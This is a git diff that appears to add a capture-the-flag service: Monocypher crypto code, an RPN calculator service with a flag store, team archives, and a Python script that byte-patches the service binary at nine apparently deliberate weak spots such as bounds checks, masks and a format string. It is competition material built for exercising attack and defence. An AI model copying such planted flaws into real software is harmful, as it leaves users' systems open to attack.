(2^256), and reduces the result modulo L +// +// Precondition: +// x < L * 2^256 +// Constants: +// r = 2^256 (makes division by r trivial) +// k = (r * (1/r) - 1) // L (1/r is computed modulo L ) +// Algorithm: +// s = (x * k) % r +// t = x + s*L (t is always a multiple of r) +// u = (t/r) % L (u is always below 2*L, conditional subtraction is enough) +static void redc(u32 u[8], u32 x[16]) +{ + static const u32 k[8] = { 0x12547e1b, 0xd2b51da3, 0xfdba84ff, 0xb1a206f2, + 0xffa36bea, 0x14e75438, 0x6fe91836, 0x9db6c6f2, }; + + // s = x * k (modulo 2^256) + // This is cheaper than the full multiplication. + u32 s[8] = {0}; + FOR (i, 0, 8) { + u64 carry = 0; + FOR (j, 0, 8-i) { + carry += s[i+j] + (u64)x[i] * k[j]; + s[i+j] = (u32)carry; + carry >>= 32; + } + } + u32 t[16] = {0}; + multiply(t, s, L); + + // t = t + x + u64 carry = 0; + FOR (i, 0, 16) { + carry += (u64)t[i] + x[i]; + t[i] = (u32)carry; + carry >>= 32; + } + + // u = (t / 2^256) % L + // Note that t / 2^256 is always below 2*L, + // So a constant time conditional subtraction is enough + remove_l(u, t+8); + + WIPE_BUFFER(s); + WIPE_BUFFER(t); +} + +void crypto_x25519_inverse(u8 blind_salt [32], const u8 private_key[32], + const u8 curve_point[32]) +{ + static const u8 Lm2[32] = { // L - 2 + 0xeb, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58, 0xd6, 0x9c, 0xf7, 0xa2, + 0xde, 0xf9, 0xde, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, }; + // 1 in Montgomery form + u32 m_inv [8] = {0x8d98951d, 0xd6ec3174, 0x737dcf70, 0xc6ef5bf4, + 0xfffffffe, 0xffffffff, 0xffffffff, 0x0fffffff,}; + + u8 scalar[32]; + COPY(scalar, private_key, 32); + trim_scalar(scalar); + + // Convert the scalar in Montgomery form + // m_scl = scalar * 2^256 (modulo L) + u32 m_scl[8]; + { + u32 tmp[16]; + ZERO(tmp, 8); + load32_le_buf(tmp+8, scalar, 8); + mod_l(scalar, tmp); + load32_le_buf(m_scl, scalar, 8); + WIPE_BUFFER(tmp); // Wipe ASAP to save stack space + } + + // Compute the inverse + u32 product[16]; + for (int i = 252; i >= 0; i--) { + ZERO(product, 16); + multiply(product, m_inv, m_inv); + redc(m_inv, product); + if (scalar_bit(Lm2, i)) { + ZERO(product, 16); + multiply(product, m_inv, m_scl); + redc(m_inv, product); + } + } + // Convert the inverse *out* of Montgomery form + // scalar = m_inv / 2^256 (modulo L) + COPY(product, m_inv, 8); + ZERO(product + 8, 8); + redc(m_inv, product); + store32_le_buf(scalar, m_inv, 8); // the *inverse* of the scalar + + // Clear the cofactor of scalar: + // cleared = scalar * (3*L + 1) (modulo 8*L) + // cleared = scalar + scalar * 3 * L (modulo 8*L) + // Note that (scalar * 3) is reduced modulo 8, so we only need the + // first byte. + add_xl(scalar, scalar[0] * 3); + + // Recall that 8*L < 2^256. However it is also very close to + // 2^255. If we spanned the ladder over 255 bits, random tests + // wouldn't catch the off-by-one error. + scalarmult(blind_salt, scalar, curve_point, 256); + + WIPE_BUFFER(scalar); WIPE_BUFFER(m_scl); + WIPE_BUFFER(product); WIPE_BUFFER(m_inv); +} + +//////////////////////////////// +/// Authenticated encryption /// +//////////////////////////////// +static void lock_auth(u8 mac[16], const u8 auth_key[32], + const u8 *ad , size_t ad_size, + const u8 *cipher_text, size_t text_size) +{ + u8 sizes[16]; // Not secret, not wiped + store64_le(sizes + 0, ad_size); + store64_le(sizes + 8, text_size); + crypto_poly1305_ctx poly_ctx; // auto wiped... + crypto_poly1305_init (&poly_ctx, auth_key); + crypto_poly1305_update(&poly_ctx, ad , ad_size); + crypto_poly1305_update(&poly_ctx, zero , align(ad_size, 16)); + crypto_poly1305_update(&poly_ctx, cipher_text, text_size); + crypto_poly1305_update(&poly_ctx, zero , align(text_size, 16)); + crypto_poly1305_update(&poly_ctx, sizes , 16); + crypto_poly1305_final (&poly_ctx, mac); // ...here +} + +void crypto_lock_aead(u8 mac[16], u8 *cipher_text, + const u8 key[32], const u8 nonce[24], + const u8 *ad , size_t ad_size, + const u8 *plain_text, size_t text_size) +{ + u8 sub_key[32]; + u8 auth_key[64]; // "Wasting" the whole Chacha block is faster + crypto_hchacha20(sub_key, key, nonce); + crypto_chacha20(auth_key, 0, 64, sub_key, nonce + 16); + crypto_chacha20_ctr(cipher_text, plain_text, text_size, + sub_key, nonce + 16, 1); + lock_auth(mac, auth_key, ad, ad_size, cipher_text, text_size); + WIPE_BUFFER(sub_key); + WIPE_BUFFER(auth_key); +} + +int crypto_unlock_aead(u8 *plain_text, const u8 key[32], const u8 nonce[24], + const u8 mac[16], + const u8 *ad , size_t ad_size, + const u8 *cipher_text, size_t text_size) +{ + u8 sub_key[32]; + u8 auth_key[64]; // "Wasting" the whole Chacha block is faster + crypto_hchacha20(sub_key, key, nonce); + crypto_chacha20(auth_key, 0, 64, sub_key, nonce + 16); + u8 real_mac[16]; + lock_auth(real_mac, auth_key, ad, ad_size, cipher_text, text_size); + WIPE_BUFFER(auth_key); + int mismatch = crypto_verify16(mac, real_mac); + if (!mismatch) { + crypto_chacha20_ctr(plain_text, cipher_text, text_size, + sub_key, nonce + 16, 1); + } + WIPE_BUFFER(sub_key); + WIPE_BUFFER(real_mac); + return mismatch; +} + +void crypto_lock(u8 mac[16], u8 *cipher_text, + const u8 key[32], const u8 nonce[24], + const u8 *plain_text, size_t text_size) +{ + crypto_lock_aead(mac, cipher_text, key, nonce, 0, 0, plain_text, text_size); +} + +int crypto_unlock(u8 *plain_text, + const u8 key[32], const u8 nonce[24], const u8 mac[16], + const u8 *cipher_text, size_t text_size) +{ + return crypto_unlock_aead(plain_text, key, nonce, mac, 0, 0, + cipher_text, text_size); +} + +#ifdef MONOCYPHER_CPP_NAMESPACE +} +#endif diff --git a/services/service3/src/monocypher.h b/services/service3/src/monocypher.h new file mode 100644 index 0000000..c7b8396 --- /dev/null +++ b/services/service3/src/monocypher.h @@ -0,0 +1,384 @@ +// Monocypher version 3.1.3 +// +// This file is dual-licensed. Choose whichever licence you want from +// the two licences listed below. +// +// The first licence is a regular 2-clause BSD licence. The second licence +// is the CC-0 from Creative Commons. It is intended to release Monocypher +// to the public domain. The BSD licence serves as a fallback option. +// +// SPDX-License-Identifier: BSD-2-Clause OR CC0-1.0 +// +// ------------------------------------------------------------------------ +// +// Copyright (c) 2017-2019, Loup Vaillant +// All rights reserved. +// +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions are +// met: +// +// 1. Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// +// 2. Redistributions in binary form must reproduce the above copyright +// notice, this list of conditions and the following disclaimer in the +// documentation and/or other materials provided with the +// distribution. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +// HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +// +// ------------------------------------------------------------------------ +// +// Written in 2017-2019 by Loup Vaillant +// +// To the extent possible under law, the author(s) have dedicated all copyright +// and related neighboring rights to this software to the public domain +// worldwide. This software is distributed without any warranty. +// +// You should have received a copy of the CC0 Public Domain Dedication along +// with this software. If not, see +// + +#ifndef MONOCYPHER_H +#define MONOCYPHER_H + +#include +#include + +#ifdef MONOCYPHER_CPP_NAMESPACE +namespace MONOCYPHER_CPP_NAMESPACE { +#elif defined(__cplusplus) +extern "C" { +#endif + +//////////////////////// +/// Type definitions /// +//////////////////////// + +// Vtable for EdDSA with a custom hash. +// Instantiate it to define a custom hash. +// Its size, contents, and layout, are part of the public API. +typedef struct { + void (*hash)(uint8_t hash[64], const uint8_t *message, size_t message_size); + void (*init )(void *ctx); + void (*update)(void *ctx, const uint8_t *message, size_t message_size); + void (*final )(void *ctx, uint8_t hash[64]); + size_t ctx_size; +} crypto_sign_vtable; + +// Do not rely on the size or contents of any of the types below, +// they may change without notice. + +// Poly1305 +typedef struct { + uint32_t r[4]; // constant multiplier (from the secret key) + uint32_t h[5]; // accumulated hash + uint8_t c[16]; // chunk of the message + uint32_t pad[4]; // random number added at the end (from the secret key) + size_t c_idx; // How many bytes are there in the chunk. +} crypto_poly1305_ctx; + +// Hash (BLAKE2b) +typedef struct { + uint64_t hash[8]; + uint64_t input_offset[2]; + uint64_t input[16]; + size_t input_idx; + size_t hash_size; +} crypto_blake2b_ctx; + +// Signatures (EdDSA) +typedef struct { + const crypto_sign_vtable *hash; + uint8_t buf[96]; + uint8_t pk [32]; +} crypto_sign_ctx_abstract; +typedef crypto_sign_ctx_abstract crypto_check_ctx_abstract; + +typedef struct { + crypto_sign_ctx_abstract ctx; + crypto_blake2b_ctx hash; +} crypto_sign_ctx; +typedef crypto_sign_ctx crypto_check_ctx; + +//////////////////////////// +/// High level interface /// +//////////////////////////// + +// Constant time comparisons +// ------------------------- + +// Return 0 if a and b are equal, -1 otherwise +int crypto_verify16(const uint8_t a[16], const uint8_t b[16]); +int crypto_verify32(const uint8_t a[32], const uint8_t b[32]); +int crypto_verify64(const uint8_t a[64], const uint8_t b[64]); + +// Erase sensitive data +// -------------------- + +// Please erase all copies +void crypto_wipe(void *secret, size_t size); + + +// Authenticated encryption +// ------------------------ +void crypto_lock(uint8_t mac[16], + uint8_t *cipher_text, + const uint8_t key[32], + const uint8_t nonce[24], + const uint8_t *plain_text, size_t text_size); +int crypto_unlock(uint8_t *plain_text, + const uint8_t key[32], + const uint8_t nonce[24], + const uint8_t mac[16], + const uint8_t *cipher_text, size_t text_size); + +// With additional data +void crypto_lock_aead(uint8_t mac[16], + uint8_t *cipher_text, + const uint8_t key[32], + const uint8_t nonce[24], + const uint8_t *ad , size_t ad_size, + const uint8_t *plain_text, size_t text_size); +int crypto_unlock_aead(uint8_t *plain_text, + const uint8_t key[32], + const uint8_t nonce[24], + const uint8_t mac[16], + const uint8_t *ad , size_t ad_size, + const uint8_t *cipher_text, size_t text_size); + + +// General purpose hash (BLAKE2b) +// ------------------------------ + +// Direct interface +void crypto_blake2b(uint8_t hash[64], + const uint8_t *message, size_t message_size); + +void crypto_blake2b_general(uint8_t *hash , size_t hash_size, + const uint8_t *key , size_t key_size, // optional + const uint8_t *message, size_t message_size); + +// Incremental interface +void crypto_blake2b_init (crypto_blake2b_ctx *ctx); +void crypto_blake2b_update(crypto_blake2b_ctx *ctx, + const uint8_t *message, size_t message_size); +void crypto_blake2b_final (crypto_blake2b_ctx *ctx, uint8_t *hash); + +void crypto_blake2b_general_init(crypto_blake2b_ctx *ctx, size_t hash_size, + const uint8_t *key, size_t key_size); + +// vtable for signatures +extern const crypto_sign_vtable crypto_blake2b_vtable; + + +// Password key derivation (Argon2 i) +// ---------------------------------- +void crypto_argon2i(uint8_t *hash, uint32_t hash_size, // >= 4 + void *work_area, uint32_t nb_blocks, // >= 8 + uint32_t nb_iterations, // >= 3 + const uint8_t *password, uint32_t password_size, + const uint8_t *salt, uint32_t salt_size); // >= 8 + +void crypto_argon2i_general(uint8_t *hash, uint32_t hash_size,// >= 4 + void *work_area, uint32_t nb_blocks,// >= 8 + uint32_t nb_iterations, // >= 3 + const uint8_t *password, uint32_t password_size, + const uint8_t *salt, uint32_t salt_size,// >= 8 + const uint8_t *key, uint32_t key_size, + const uint8_t *ad, uint32_t ad_size); + + +// Key exchange (x25519 + HChacha20) +// --------------------------------- +#define crypto_key_exchange_public_key crypto_x25519_public_key +void crypto_key_exchange(uint8_t shared_key [32], + const uint8_t your_secret_key [32], + const uint8_t their_public_key[32]); + + +// Signatures (EdDSA with curve25519 + BLAKE2b) +// -------------------------------------------- + +// Generate public key +void crypto_sign_public_key(uint8_t public_key[32], + const uint8_t secret_key[32]); + +// Direct interface +void crypto_sign(uint8_t signature [64], + const uint8_t secret_key[32], + const uint8_t public_key[32], // optional, may be 0 + const uint8_t *message, size_t message_size); +int crypto_check(const uint8_t signature [64], + const uint8_t public_key[32], + const uint8_t *message, size_t message_size); + +//////////////////////////// +/// Low level primitives /// +//////////////////////////// + +// For experts only. You have been warned. + +// Chacha20 +// -------- + +// Specialised hash. +// Used to hash X25519 shared secrets. +void crypto_hchacha20(uint8_t out[32], + const uint8_t key[32], + const uint8_t in [16]); + +// Unauthenticated stream cipher. +// Don't forget to add authentication. +void crypto_chacha20(uint8_t *cipher_text, + const uint8_t *plain_text, + size_t text_size, + const uint8_t key[32], + const uint8_t nonce[8]); +void crypto_xchacha20(uint8_t *cipher_text, + const uint8_t *plain_text, + size_t text_size, + const uint8_t key[32], + const uint8_t nonce[24]); +void crypto_ietf_chacha20(uint8_t *cipher_text, + const uint8_t *plain_text, + size_t text_size, + const uint8_t key[32], + const uint8_t nonce[12]); +uint64_t crypto_chacha20_ctr(uint8_t *cipher_text, + const uint8_t *plain_text, + size_t text_size, + const uint8_t key[32], + const uint8_t nonce[8], + uint64_t ctr); +uint64_t crypto_xchacha20_ctr(uint8_t *cipher_text, + const uint8_t *plain_text, + size_t text_size, + const uint8_t key[32], + const uint8_t nonce[24], + uint64_t ctr); +uint32_t crypto_ietf_chacha20_ctr(uint8_t *cipher_text, + const uint8_t *plain_text, + size_t text_size, + const uint8_t key[32], + const uint8_t nonce[12], + uint32_t ctr); + +// Poly 1305 +// --------- + +// This is a *one time* authenticator. +// Disclosing the mac reveals the key. +// See crypto_lock() on how to use it properly. + +// Direct interface +void crypto_poly1305(uint8_t mac[16], + const uint8_t *message, size_t message_size, + const uint8_t key[32]); + +// Incremental interface +void crypto_poly1305_init (crypto_poly1305_ctx *ctx, const uint8_t key[32]); +void crypto_poly1305_update(crypto_poly1305_ctx *ctx, + const uint8_t *message, size_t message_size); +void crypto_poly1305_final (crypto_poly1305_ctx *ctx, uint8_t mac[16]); + + +// X-25519 +// ------- + +// Shared secrets are not quite random. +// Hash them to derive an actual shared key. +void crypto_x25519_public_key(uint8_t public_key[32], + const uint8_t secret_key[32]); +void crypto_x25519(uint8_t raw_shared_secret[32], + const uint8_t your_secret_key [32], + const uint8_t their_public_key [32]); + +// "Dirty" versions of x25519_public_key() +// Only use to generate ephemeral keys you want to hide. +// Note that those functions leaks 3 bits of the private key. +void crypto_x25519_dirty_small(uint8_t pk[32], const uint8_t sk[32]); +void crypto_x25519_dirty_fast (uint8_t pk[32], const uint8_t sk[32]); + +// scalar "division" +// Used for OPRF. Be aware that exponential blinding is less secure +// than Diffie-Hellman key exchange. +void crypto_x25519_inverse(uint8_t blind_salt [32], + const uint8_t private_key[32], + const uint8_t curve_point[32]); + + +// EdDSA to X25519 +// --------------- +void crypto_from_eddsa_private(uint8_t x25519[32], const uint8_t eddsa[32]); +void crypto_from_eddsa_public (uint8_t x25519[32], const uint8_t eddsa[32]); + + +// EdDSA -- Incremental interface +// ------------------------------ + +// Signing (2 passes) +// Make sure the two passes hash the same message, +// else you might reveal the private key. +void crypto_sign_init_first_pass(crypto_sign_ctx_abstract *ctx, + const uint8_t secret_key[32], + const uint8_t public_key[32]); +void crypto_sign_update(crypto_sign_ctx_abstract *ctx, + const uint8_t *message, size_t message_size); +void crypto_sign_init_second_pass(crypto_sign_ctx_abstract *ctx); +// use crypto_sign_update() again. +void crypto_sign_final(crypto_sign_ctx_abstract *ctx, uint8_t signature[64]); + +// Verification (1 pass) +// Make sure you don't use (parts of) the message +// before you're done checking it. +void crypto_check_init (crypto_check_ctx_abstract *ctx, + const uint8_t signature[64], + const uint8_t public_key[32]); +void crypto_check_update(crypto_check_ctx_abstract *ctx, + const uint8_t *message, size_t message_size); +int crypto_check_final (crypto_check_ctx_abstract *ctx); + +// Custom hash interface +void crypto_sign_public_key_custom_hash(uint8_t public_key[32], + const uint8_t secret_key[32], + const crypto_sign_vtable *hash); +void crypto_sign_init_first_pass_custom_hash(crypto_sign_ctx_abstract *ctx, + const uint8_t secret_key[32], + const uint8_t public_key[32], + const crypto_sign_vtable *hash); +void crypto_check_init_custom_hash(crypto_check_ctx_abstract *ctx, + const uint8_t signature[64], + const uint8_t public_key[32], + const crypto_sign_vtable *hash); + +// Elligator 2 +// ----------- + +// Elligator mappings proper +void crypto_hidden_to_curve(uint8_t curve [32], const uint8_t hidden[32]); +int crypto_curve_to_hidden(uint8_t hidden[32], const uint8_t curve [32], + uint8_t tweak); + +// Easy to use key pair generation +void crypto_hidden_key_pair(uint8_t hidden[32], uint8_t secret_key[32], + uint8_t seed[32]); + + +#ifdef __cplusplus +} +#endif + +#endif // MONOCYPHER_H diff --git a/services/service3/src/monocypher.o b/services/service3/src/monocypher.o new file mode 100644 index 0000000..8057e88 Binary files /dev/null and b/services/service3/src/monocypher.o differ diff --git a/services/service3/src/no-ANSI-color-codes.h b/services/service3/src/no-ANSI-color-codes.h new file mode 100644 index 0000000..177dd53 --- /dev/null +++ b/services/service3/src/no-ANSI-color-codes.h @@ -0,0 +1,78 @@ +/* + * This is free and unencumbered software released into the public domain. + * + * For more information, please refer to + */ + +//Regular text +#define BLK "" +#define RED "" +#define GRN "" +#define YEL "" +#define BLU "" +#define MAG "" +#define CYN "" +#define WHT "" + +//Regular bold text +#define BBLK "" +#define BRED "" +#define BGRN "" +#define BYEL "" +#define BBLU "" +#define BMAG "" +#define BCYN "" +#define BWHT "" + +//Regular underline text +#define UBLK "" +#define URED "" +#define UGRN "" +#define UYEL "" +#define UBLU "" +#define UMAG "" +#define UCYN "" +#define UWHT "" + +//Regular background +#define BLKB "" +#define REDB "" +#define GRNB "" +#define YELB "" +#define BLUB "" +#define MAGB "" +#define CYNB "" +#define WHTB "" + +//High intensty background +#define BLKHB "" +#define REDHB "" +#define GRNHB "" +#define YELHB "" +#define BLUHB "" +#define MAGHB "" +#define CYNHB "" +#define WHTHB "" + +//High intensty text +#define HBLK "" +#define HRED "" +#define HGRN "" +#define HYEL "" +#define HBLU "" +#define HMAG "" +#define HCYN "" +#define HWHT "" + +//Bold high intensity text +#define BHBLK "" +#define BHRED "" +#define BHGRN "" +#define BHYEL "" +#define BHBLU "" +#define BHMAG "" +#define BHCYN "" +#define BHWHT "" + +//Reset +#define reset "" diff --git a/services/service3/src/patch_binary.py b/services/service3/src/patch_binary.py new file mode 100755 index 0000000..01e6578 --- /dev/null +++ b/services/service3/src/patch_binary.py @@ -0,0 +1,130 @@ +#!/usr/bin/env python3 +import sys + +with open('rpn', 'rb') as f: + exe = bytearray(f.read()) + + +def change(orig, patch): + assert len(orig) != 0 and len(orig) == len(patch) + offs = exe.find(orig) + if offs < 0: + print( + f"Cannot find the original sequence {repr(orig)} (executable already patched?)") + return False + if exe.find(orig, offs+1) != -1: + print("The byte sequence can be found in multiple places") + return False + for i, b in enumerate(patch): + exe[offs + i] = b + return True + + +''' + Patch #1 +''' +# 000046c1 89c2 mov edx, eax +# 000046c3 83e21f and edx, 0x1f +# 000046c6 8915f4590100 mov dword [rel data_1a0c0], edx +# 000046cc a803 test al, 0x3 +# Change 0x1f to 0x03 +if not change(b'\x83\xe2\x1f', + b'\x83\xe2\x03'): + sys.exit() + + +''' + Patch #2 +''' +# 00003d3d 3c5c cmp al, 0x5c +# 00003d3f 0f8495feffff je 0x3bda +# NOP the je +if not change(b'\x0f\x84\x95\xfe\xff\xff', + b'\x90\x90\x90\x90\x90\x90'): + sys.exit() + + +''' + Patch #3 +''' +# 00003894 83c201 add edx, 0x1 +# 00003897 83fa3f cmp edx, 0x3f +# 0000389a 776b ja 0x3907 +# change 0x3f to 0x3e +if not change(b'\x83\xc2\x01\x83\xfa\x3f', + b'\x83\xc2\x01\x83\xfa\x3e'): + sys.exit() + + +''' + Patch #4 +''' +# 00003125 488b1d34860100 mov rbx, qword [rel data_1b760] +# 0000312c 85db test ebx, ebx +# 0000312e 0f8496000000 je 0x31ca +# 00003134 8d43ff lea eax, [rbx-0x1] +# change je to jle +if not change(b'\x0f\x84\x96\x00\x00\x00', + b'\x0f\x8e\x96\x00\x00\x00'): + sys.exit() + + +''' + Patch #5 +''' +# 00003fe8 48bfc995c9012929… mov rdi, 0x1e5b292901c995c9 +# 00003ff2 e8fbebffff call print_error +# 00003ff7 8305e6f6050001 add dword [rel stack_len], 0x1 +# 00003ffe ebd1 jmp 0x3fd1 +# remove the add +if not change(b'\x83\x05\xe6\xf6\x05\x00\x01', + b'\x90\x90\x90\x90\x90\x90\x90'): + sys.exit() + + +''' + Patch #6 +''' +# 00012258 char const data_12258[0x1c] = "Unix-time out of range: %sd", 0 +# replace %sd with %jd +if not change(b"Unix-time out of range: %sd", + b"Unix-time out of range: %jd"): + sys.exit() + + +''' + Patch #7 +''' +# 0000336f 488b05ea830100 mov rax, qword [rel data_1b760] +# 00003376 4885c0 test rax, rax +# 00003379 0f85fdfeffff jne 0x327c +# 0000337f 48bfe0fbbb0a50ab… mov rdi, 0x24cdab500abbfbe0 +# replace jne with jns +if not change(b'\x0f\x85\xfd\xfe\xff\xff', + b'\x0f\x89\xfd\xfe\xff\xff'): + sys.exit() + + +''' + Patch #8 +''' +# 00003e28 488b5308 mov rdx, qword [rbx+0x8] +# 00003e2c 4881fa11badd00 cmp rdx, 0xddba11 +# 00003e33 742a je 0x3e5f +# NOP je +if not change(b'\xba\xdd\x00\x74\x2a', + b'\xba\xdd\x00\x90\x90'): + sys.exit() + +''' + Patch #9 +''' +# 000190a0 uint32_t counter.1 = 0xffffffff +# counter should be initialized with 0 +offset = 0x180a0 +for i in range(4): + assert exe[offset+i] == 255 + exe[offset+i] = 0 + +with open('rpn', 'wb') as f: + f.write(exe) diff --git a/services/service3/src/rpn-team-1.zip b/services/service3/src/rpn-team-1.zip new file mode 100644 index 0000000..cdc1c6c Binary files /dev/null and b/services/service3/src/rpn-team-1.zip differ diff --git a/services/service3/src/rpn-team-2.zip b/services/service3/src/rpn-team-2.zip new file mode 100644 index 0000000..d0d593d Binary files /dev/null and b/services/service3/src/rpn-team-2.zip differ diff --git a/services/service3/src/rpn-team-3.zip b/services/service3/src/rpn-team-3.zip new file mode 100644 index 0000000..44fb027 Binary files /dev/null and b/services/service3/src/rpn-team-3.zip differ diff --git a/services/service3/src/rpn-team-4.zip b/services/service3/src/rpn-team-4.zip new file mode 100644 index 0000000..fee3039 Binary files /dev/null and b/services/service3/src/rpn-team-4.zip differ diff --git a/services/service3/src/rpn-team-5.zip b/services/service3/src/rpn-team-5.zip new file mode 100644 index 0000000..aa67bce Binary files /dev/null and b/services/service3/src/rpn-team-5.zip differ diff --git a/services/service3/src/rpn-team-6.zip b/services/service3/src/rpn-team-6.zip new file mode 100644 index 0000000..7b0f836 Binary files /dev/null and b/services/service3/src/rpn-team-6.zip differ diff --git a/services/service3/src/rpn-team-7.zip b/services/service3/src/rpn-team-7.zip new file mode 100644 index 0000000..2316df3 Binary files /dev/null and b/services/service3/src/rpn-team-7.zip differ diff --git a/services/service3/src/rpn.c b/services/service3/src/rpn.c new file mode 100644 index 0000000..0572257 --- /dev/null +++ b/services/service3/src/rpn.c @@ -0,0 +1,1775 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#ifdef NO_COLORS +#include "no-ANSI-color-codes.h" +#else +#include "ANSI-color-codes.h" +#endif +#include "monocypher.h" + +#define MAX_LINE_LENGTH 4096 +#define MAX_TOKENS MAX_LINE_LENGTH +#define MAX_STR_ID_LEN 32 /* see also print_stack and cmd_vars */ +#define N_VARS_PER_STORE 64 +#define MAX_STACK_ELEMENTS 16 +#define MAX_VAR_IN_STORE_PER_SIGNER 8 /* checker + 7 teams -> 64 slots (*2 stores) -> 128 slots */ +#ifdef DEV_DEBUG +#define FLAG_STORE_FILENAME "/tmp/flagstore" +#else +#define FLAG_STORE_FILENAME "/flags/flagstore" +#endif + +#define EC_INVALID_OPERAND 0x3813f3cee5040b5 +#define EC_MISSING_OPERAND 0x3813f36cee5040b3 +#define EC_MISSING_ARGUMENT 0x3813f3c6ee5040b3 +#define EC_ARGUMENT_MUST_BE_INT 0xfff6bfb7fc1841db +#define EC_OPERAND_MUST_BE_INT 0xfff6bfb7cf1841db +#define EC_OPERAND_MUST_BE_NON_NEG 0x5640e01698ee6515 +#define EC_THERE_IS_NOTHING 0x31c46917d70649d2 +#define EC_STACK_IS_FULL 0x1e5b292901c995c9 +#define EC_UNCLOSED_STR_LITERAL 0x27c0f88ad329c6b7 +#define EC_UNRECOGNIZED_ESCAPE 0x863baa576a944788 +#define EC_IDENT_TOO_LONG 0x7ec829d4b89fdbf4 +#define EC_STR_LITERAL_TOO_LONG 0x7ec289d4b89fdbf4 +#define EC_INCOMPLETE_STR_LITERAL 0x5b2c448fcc5cac7e +#define EC_STACK_IS_EMPTY 0x440724385fb22e +#define EC_ONLY_IN_DEBUG 0x9f79cbb5ab266b66 +#define EC_TOO_FEW_OPERANDS 0x24cdab500abbfbe0 +#define EC_TOP_MUST_BE_ID 0xf9eaea4a29a3a1d1 +#define EC_TOP_MUST_BE_INT 0xf9eaae4a29a3a1d1 +#define EC_TOP_MUST_BE_INTS 0xf9eaae4a293aa1d1 +#define EC_TOP_MUST_BE_STR 0x9feaae4a29a3a1d1 +#define EC_UNDEF_VAR 0x182a805ee937b4f5 +#define EC_2ND_MUST_BE_STR_OR_INT 0xba2689aea5af9134 +#define EC_2ND_MUST_BE_INT 0xba2689aea5af9314 +#define EC_DEBUG_ONLY_IN_DEV 0x18f4ff408b014d09 +#define EC_INVALID_CHAR_IN_KW 0xd480aff582d340a9 +#define EC_INVALID_KEYWORD 0x817409fc57f4a1b0 +#define EC_INT_LITERAL_TOO_LONG 0xb410eb3da2f7306 +#define EC_INVALID_CHAR_IN_INT_LITERAL 0xc619e22ee6d38fc0 +#define EC_INVALID_INT_LITERAL 0xc619e2e2e6d38fc0 +#define EC_UNEXPECTED_INPUT 0x935dbd84cb78471e +#define EC_TOO_MANY_TOKENS 0x78ca6bfa18abe98 +#define EC_INTERNAL_PARSER_ERROR 0x78ac6bfa18abe98 +#define EC_NO_ARGS_ON_CMDLINE 0x13d6334f64ebd128 +#define EC_DUP_TAKES_ONLY_AN_OPTIONAL_ARGUMENT 0x37fdaa73bbd5eb4b +#define EC_ARGUMENT_TOO_BIG 0x3f7daa73bbd5eb4b +#define EC_TIME_OUT_OF_RANGE 0x3f7daa37bbd5eb4b +#define EC_BAD_SIGNER_TAG 0x3f7dfa37bbd5eb4b +#define EC_CORRUPTED_STORE 0x3f7dfa37bb5deb4b + +static unsigned int signer = -1; + +void print_error_0p(char *fmt) +{ + printf(BRED "%s." reset "\n", fmt); +} + +void print_error_1p(char *fmt, char *p1) +{ + printf(BRED); + printf(fmt, p1); + printf(reset); +} + +void print_error(uint64_t err_code) +{ + char *s; + switch(err_code) { + case EC_INVALID_OPERAND: s = "Invalid operand"; break; + case EC_MISSING_OPERAND: s = "Missing operand"; break; + case EC_MISSING_ARGUMENT: s = "Missing argument"; break; + case EC_ARGUMENT_MUST_BE_INT: s = "The argument must be an integer"; break; + case EC_ARGUMENT_TOO_BIG: s = "The argument is too big"; break; + case EC_OPERAND_MUST_BE_INT: s = "The operand must be an integer"; break; + case EC_OPERAND_MUST_BE_NON_NEG: s = "Bad operand; the index must be non-negative"; break; + case EC_DUP_TAKES_ONLY_AN_OPTIONAL_ARGUMENT: s = "Dup takes only an optional (integer) argument"; break; + case EC_THERE_IS_NOTHING: s = "These is nothing there"; break; + case EC_STACK_IS_FULL: s = "Stack is full"; break; + case EC_STACK_IS_EMPTY: s = "Stack is empty"; break; + case EC_ONLY_IN_DEBUG: s = "This command is only available in debug mode"; break; + case EC_TOO_FEW_OPERANDS: s = "Too few operands on the stack"; break; + case EC_TOP_MUST_BE_ID: s = "The top element must be an identifier"; break; + case EC_TOP_MUST_BE_INT: s = "The top element must be an integer"; break; + case EC_TOP_MUST_BE_INTS: s = "The top elements must be integers"; break; + case EC_TOP_MUST_BE_STR: s = "The top element must be a string"; break; + case EC_UNDEF_VAR: s = "Undefined variable"; break; + case EC_2ND_MUST_BE_STR_OR_INT: s = "The 2nd element must be an integer or a string"; break; + case EC_2ND_MUST_BE_INT: s = "The 2nd element must be an integer"; break; + case EC_DEBUG_ONLY_IN_DEV: s = "Debug mode can be changed in development-mode only"; break; + case EC_TOO_MANY_TOKENS: s = "Too many tokens; please enter a value/identifier at a time"; break; + case EC_INTERNAL_PARSER_ERROR: s = "Internal parser error"; break; + case EC_NO_ARGS_ON_CMDLINE: s = "This operation takes no arguments from the command-line"; break; + case EC_BAD_SIGNER_TAG: s = "Internal server error: bad signer-tag."; break; + case EC_CORRUPTED_STORE: s = "Internal server error: corrupted store."; break; + case EC_INVALID_KEYWORD: s = "Invalid keyword."; break; + default: + assert(0); + s = "*** UNDEFINED ERROR CONDITION ***"; + } + print_error_0p(s); +} + +void 